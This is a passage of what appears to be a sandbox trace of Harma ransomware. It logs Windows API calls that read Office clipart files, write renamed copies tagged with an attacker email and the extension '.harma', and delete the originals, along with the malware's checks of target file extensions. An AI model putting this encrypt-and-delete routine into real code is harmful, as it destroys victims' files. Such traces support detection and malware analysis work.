lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0151.190] SetEndOfFile (hFile=0x360) returned 1 [0151.190] CloseHandle (hObject=0x360) returned 1 [0151.190] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.190] SetEndOfFile (hFile=0x364) returned 1 [0151.192] CloseHandle (hObject=0x364) returned 1 [0151.192] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0151.209] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01171_.wmf")) returned 1 [0151.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 63 [0151.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 63 [0151.209] lstrlenW (lpString=".doc") returned 4 [0151.209] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.209] lstrlenW (lpString=".docx") returned 5 [0151.209] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0151.209] lstrlenW (lpString=".pdf") returned 4 [0151.209] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.210] lstrlenW (lpString=".xls") returned 4 [0151.210] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.210] lstrlenW (lpString=".xlsx") returned 5 [0151.210] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0151.210] lstrlenW (lpString=".ppt") returned 4 [0151.210] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 63 [0151.210] lstrlenW (lpString=".zip") returned 4 [0151.210] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.210] lstrlenW (lpString=".rar") returned 4 [0151.210] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.210] lstrlenW (lpString=".bz2") returned 4 [0151.210] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.210] lstrlenW (lpString=".7z") returned 3 [0151.210] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 63 [0151.210] lstrlenW (lpString=".dbf") returned 4 [0151.210] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 63 [0151.210] lstrlenW (lpString=".1cd") returned 4 [0151.210] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 63 [0151.210] lstrlenW (lpString=".jpg") returned 4 [0151.210] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 63 [0151.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 63 [0151.211] lstrlenW (lpString=".doc") returned 4 [0151.211] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.211] lstrlenW (lpString=".docx") returned 5 [0151.211] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0151.211] lstrlenW (lpString=".pdf") returned 4 [0151.211] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.211] lstrlenW (lpString=".xls") returned 4 [0151.211] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.211] lstrlenW (lpString=".xlsx") returned 5 [0151.211] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0151.211] lstrlenW (lpString=".ppt") returned 4 [0151.211] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 63 [0151.211] lstrlenW (lpString=".zip") returned 4 [0151.211] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.211] lstrlenW (lpString=".rar") returned 4 [0151.211] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.211] lstrlenW (lpString=".bz2") returned 4 [0151.211] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.211] lstrlenW (lpString=".7z") returned 3 [0151.211] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 63 [0151.211] lstrlenW (lpString=".dbf") returned 4 [0151.211] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 63 [0151.211] lstrlenW (lpString=".1cd") returned 4 [0151.211] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 63 [0151.211] lstrlenW (lpString=".jpg") returned 4 [0151.211] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.212] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0151.212] lstrlenW (lpString="DD01173_.WMF") returned 12 [0151.212] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01173_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0151.232] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=1804) returned 1 [0151.232] CloseHandle (hObject=0x384) returned 1 [0151.232] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01173_.wmf")) returned 0x20 [0151.292] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01173_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0151.292] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01173_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0151.293] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.293] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.293] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01173_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0151.621] GetLastError () returned 0x0 [0151.621] ReadFile (in: hFile=0x34c, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x70c, lpOverlapped=0x0) returned 1 [0151.631] WriteFile (in: hFile=0x384, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0x710, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x710, lpOverlapped=0x0) returned 1 [0151.632] ReadFile (in: hFile=0x34c, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0151.632] WriteFile (in: hFile=0x384, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0151.632] SetEndOfFile (hFile=0x384) returned 1 [0151.633] CloseHandle (hObject=0x384) returned 1 [0151.633] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.633] SetEndOfFile (hFile=0x34c) returned 1 [0151.635] CloseHandle (hObject=0x34c) returned 1 [0151.635] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0151.635] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01173_.wmf")) returned 1 [0151.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 63 [0151.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 63 [0151.636] lstrlenW (lpString=".doc") returned 4 [0151.636] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.636] lstrlenW (lpString=".docx") returned 5 [0151.636] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0151.636] lstrlenW (lpString=".pdf") returned 4 [0151.636] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.636] lstrlenW (lpString=".xls") returned 4 [0151.636] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.636] lstrlenW (lpString=".xlsx") returned 5 [0151.636] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0151.636] lstrlenW (lpString=".ppt") returned 4 [0151.636] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 63 [0151.636] lstrlenW (lpString=".zip") returned 4 [0151.636] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.636] lstrlenW (lpString=".rar") returned 4 [0151.636] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.637] lstrlenW (lpString=".bz2") returned 4 [0151.637] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.637] lstrlenW (lpString=".7z") returned 3 [0151.637] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 63 [0151.637] lstrlenW (lpString=".dbf") returned 4 [0151.637] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 63 [0151.637] lstrlenW (lpString=".1cd") returned 4 [0151.637] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 63 [0151.637] lstrlenW (lpString=".jpg") returned 4 [0151.637] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 63 [0151.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 63 [0151.637] lstrlenW (lpString=".doc") returned 4 [0151.637] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.637] lstrlenW (lpString=".docx") returned 5 [0151.637] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0151.637] lstrlenW (lpString=".pdf") returned 4 [0151.637] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.637] lstrlenW (lpString=".xls") returned 4 [0151.637] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.637] lstrlenW (lpString=".xlsx") returned 5 [0151.637] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0151.637] lstrlenW (lpString=".ppt") returned 4 [0151.637] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 63 [0151.637] lstrlenW (lpString=".zip") returned 4 [0151.637] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.638] lstrlenW (lpString=".rar") returned 4 [0151.638] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.638] lstrlenW (lpString=".bz2") returned 4 [0151.638] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.638] lstrlenW (lpString=".7z") returned 3 [0151.638] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 63 [0151.638] lstrlenW (lpString=".dbf") returned 4 [0151.638] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 63 [0151.638] lstrlenW (lpString=".1cd") returned 4 [0151.638] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 63 [0151.638] lstrlenW (lpString=".jpg") returned 4 [0151.638] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.638] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0151.638] lstrlenW (lpString="DD01182_.WMF") returned 12 [0151.638] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01182_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0151.639] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=2996) returned 1 [0151.639] CloseHandle (hObject=0x34c) returned 1 [0151.639] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01182_.wmf")) returned 0x20 [0151.639] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01182_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0151.639] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01182_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0151.639] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.640] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.640] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01182_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0151.640] GetLastError () returned 0x0 [0151.640] ReadFile (in: hFile=0x34c, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0xbb4, lpOverlapped=0x0) returned 1 [0151.681] WriteFile (in: hFile=0x384, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xbc0, lpOverlapped=0x0) returned 1 [0151.682] ReadFile (in: hFile=0x34c, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0151.682] WriteFile (in: hFile=0x384, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0151.682] SetEndOfFile (hFile=0x384) returned 1 [0151.682] CloseHandle (hObject=0x384) returned 1 [0151.683] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.683] SetEndOfFile (hFile=0x34c) returned 1 [0151.685] CloseHandle (hObject=0x34c) returned 1 [0151.685] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0151.685] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01182_.wmf")) returned 1 [0151.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 63 [0151.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 63 [0151.686] lstrlenW (lpString=".doc") returned 4 [0151.686] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.686] lstrlenW (lpString=".docx") returned 5 [0151.686] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0151.686] lstrlenW (lpString=".pdf") returned 4 [0151.686] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.686] lstrlenW (lpString=".xls") returned 4 [0151.686] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.686] lstrlenW (lpString=".xlsx") returned 5 [0151.686] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0151.686] lstrlenW (lpString=".ppt") returned 4 [0151.686] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 63 [0151.686] lstrlenW (lpString=".zip") returned 4 [0151.686] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.686] lstrlenW (lpString=".rar") returned 4 [0151.687] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.687] lstrlenW (lpString=".bz2") returned 4 [0151.687] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.687] lstrlenW (lpString=".7z") returned 3 [0151.687] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 63 [0151.687] lstrlenW (lpString=".dbf") returned 4 [0151.687] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 63 [0151.687] lstrlenW (lpString=".1cd") returned 4 [0151.687] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 63 [0151.687] lstrlenW (lpString=".jpg") returned 4 [0151.687] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 63 [0151.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 63 [0151.687] lstrlenW (lpString=".doc") returned 4 [0151.687] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.687] lstrlenW (lpString=".docx") returned 5 [0151.687] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0151.687] lstrlenW (lpString=".pdf") returned 4 [0151.687] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.687] lstrlenW (lpString=".xls") returned 4 [0151.687] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.687] lstrlenW (lpString=".xlsx") returned 5 [0151.687] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0151.687] lstrlenW (lpString=".ppt") returned 4 [0151.687] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 63 [0151.688] lstrlenW (lpString=".zip") returned 4 [0151.688] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.688] lstrlenW (lpString=".rar") returned 4 [0151.688] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.688] lstrlenW (lpString=".bz2") returned 4 [0151.688] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.688] lstrlenW (lpString=".7z") returned 3 [0151.688] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 63 [0151.688] lstrlenW (lpString=".dbf") returned 4 [0151.688] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 63 [0151.688] lstrlenW (lpString=".1cd") returned 4 [0151.688] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 63 [0151.688] lstrlenW (lpString=".jpg") returned 4 [0151.688] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.688] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0151.688] lstrlenW (lpString="DD01434_.WMF") returned 12 [0151.688] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01434_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0151.970] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=900) returned 1 [0151.970] CloseHandle (hObject=0x20c) returned 1 [0151.970] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01434_.wmf")) returned 0x20 [0151.970] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01434_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0151.970] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01434_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0151.971] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.971] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.971] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01434_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0151.972] GetLastError () returned 0x0 [0151.972] ReadFile (in: hFile=0x20c, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x384, lpOverlapped=0x0) returned 1 [0151.975] WriteFile (in: hFile=0x370, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0x390, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x390, lpOverlapped=0x0) returned 1 [0151.976] ReadFile (in: hFile=0x20c, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0151.976] WriteFile (in: hFile=0x370, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0151.976] SetEndOfFile (hFile=0x370) returned 1 [0151.976] CloseHandle (hObject=0x370) returned 1 [0151.976] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.976] SetEndOfFile (hFile=0x20c) returned 1 [0151.981] CloseHandle (hObject=0x20c) returned 1 [0151.981] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", 